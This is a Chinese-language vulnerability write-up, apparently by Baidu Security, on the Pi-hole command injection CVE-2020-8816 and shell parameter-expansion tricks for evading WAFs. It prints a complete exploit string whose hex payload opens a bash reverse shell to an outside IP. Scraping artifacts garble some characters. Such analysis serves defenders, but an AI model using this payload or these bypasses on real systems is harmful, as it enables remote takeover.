最近偶然看到了Pi-hole <=4.3.2遠程代碼執行漏洞(CVE-2020-8816)相關的文章,漏洞成因不是很難,可是裏面構造的Exp引發了個人興趣。因爲Pi-hole代碼對命令注入的參數總體作了大寫轉換,所以用到了shell參數擴展進行繞過,後面我查詢了相關資料,發現這種方式很是靈活,可被用在命令注入攻擊中以繞過傳統WAF。php
咱們下載了Pi-hole 4.3.2版本進行安裝,安裝成功後會提示訪問http://pi.hole/admin進行Web界...。該漏洞爲受權命令執行漏洞,Pi-hole安裝完成後會在界面生成一個隨機密碼。成功登陸後,訪問Setting-DHCP,在下圖的Mac address處可進行命令注入html
此時咱們填寫參數並抓包,發現請求的文件路徑爲/admin/setting.php,仔細查看了setting.php文件邏輯,發現該文件主要用來展現設置的內容和佈局,而且是php和html混合的方式,並無進行保存操做的代碼,可是咱們在代碼第9行發現引入了scripts/pi-hole/php/savesettings.phpnode
跟進到savesettings.php,發現會檢查POST參數中field的值,並利用switch case判斷,此時抓取的數據包中field爲DHCP,能夠跟進到548行。命令注入點AddMAC被賦值給$mac,而且在556行會由validMAC方法進行校驗。linux
咱們繼續跟進validMAC方法,發現只要匹配到12個數字字母即返回成功,正則表達式中沒有設定開始結束符號致使能夠插入任意字符,隨後$mac在604行直接拼接到exec方法中,從而致使命令注入。正則表達式
可是在560行會將$mac全部字符轉成大寫,咱們知道linux中的命令是區分大小寫的,大寫的如」ID」、」WHOAMI」等都是沒法執行的,可是PHP中的函數是不區分大小寫的。所以漏洞做者引入了shell參數擴展的方法,經過模式匹配獲取小寫的p、h、r等字符。shell
這裏咱們能夠根據env中的常量進行截取:安全
$PATH=’ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin’bash
$W=${PATH##*:/}=’snap/bin’函數
$Y=${W%%/???}=’snap’佈局
$P=${Y#???}=’p’
$PWD=’/var/www/html/admin’
$I=${PWD#/???/???/}
$H=${I%???/?????}
$Q=${PWD%/???/????/?????}
$R=${Q#/??}
那麼能夠構造以下的Exp:
123456789123&&W=${PATH##\*:/}&&Y=${W%%/???}&&P=${Y#???}&&I=${PWD#/???/???/}&&H=${I%???/?????}&&Q=${PWD%/???/????/?????}&&R=${Q#/??}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("62617368202D63202762617368202D69203E26202F6465762F7463702F312E312E312E312F3930393020303E263127"));'&&
Shell參數擴展的繞過方式很是有意思,在命令注入漏洞的利用中可能被用以繞過WAF等。我也去查詢了一下相關的資料,參數擴展定義以下:在shell中可使用花括號${}包裹參數來防止緊跟在參數後面的字符串被看成參數變量名的一部分,因此最基本的參數展開就是${parameter},常見的可被利用的有如下操做:
大小寫轉換:
${parameter^pattern} //對pattern匹配的第一個字符轉成大寫
${parameter^^pattern} //對pattern匹配的全部字符轉成大寫
${parameter,pattern} //對pattern匹配的第一個字符轉成小寫
${parameter,,pattern} //對pattern匹配的全部字符轉成小寫
字符串刪除:
${parameter#pattern} //從頭開始匹配符合pattern的數據,則將符合的最短的數據刪除
${parameter##pattern}//從頭開始匹配符合pattern的數據,則將符合的最長的數據刪除
${parameter%pattern}//從後開始匹配符合pattern的數據,則將符合的最短的數據刪除
${parameter%%pattern}//從後開始匹配符合pattern的數據,則將符合的最長的數據刪除
能夠舉一個簡單的例子以下圖,在知道$PATH的狀況下可屢次利用模式匹配進行字符串刪除留下可用字符,從而執行id命令。
參數切片:
${parameter:offset:length} //從offset下標處截取長度爲length的部分
使用切片的方式能夠更方便地截取字符。
參數替換:
${parameter/pattern/string} //將pattern匹配的部分替換爲string
在命令注入時能夠將敏感詞進行變形,以替換的方式進行繞過。
其中模式匹配pattern常見有下面的符號:
* //匹配任意字符串
?//匹配任意單個字符
[…] //匹配集合中任意一個字符
通過實際測試,發現諸如PHP、JAVA等語言的命令執行函數,不能徹底支持shell參數擴展的方式。在PHP 7.0.3環境下,使用system、exec、shell_exec命令執行方法,只支持上述字符串刪除的方式;而在JAVA1.8環境下,Runtime.getRuntime().exec則支持上述全部方式。
百度安全一體化產品已支持CVE-2020-8816檢測和攔截, 而且經過AI學習的智能白模型也能頗有效地攔截Shell參數擴展形成的變形。有需求的客戶能夠登陸anquan.baidu.com聯繫咱們。
參考連接:
https://www.freebuf.com/vuls/...
https://www.gnu.org/software/..._node/Pattern-Matching.html#Pattern-Matching
https://www.gnu.org/software/..._node/Shell-Parameter-Expansion.html
本文由百度安全原創,轉載請註明出處及原文連接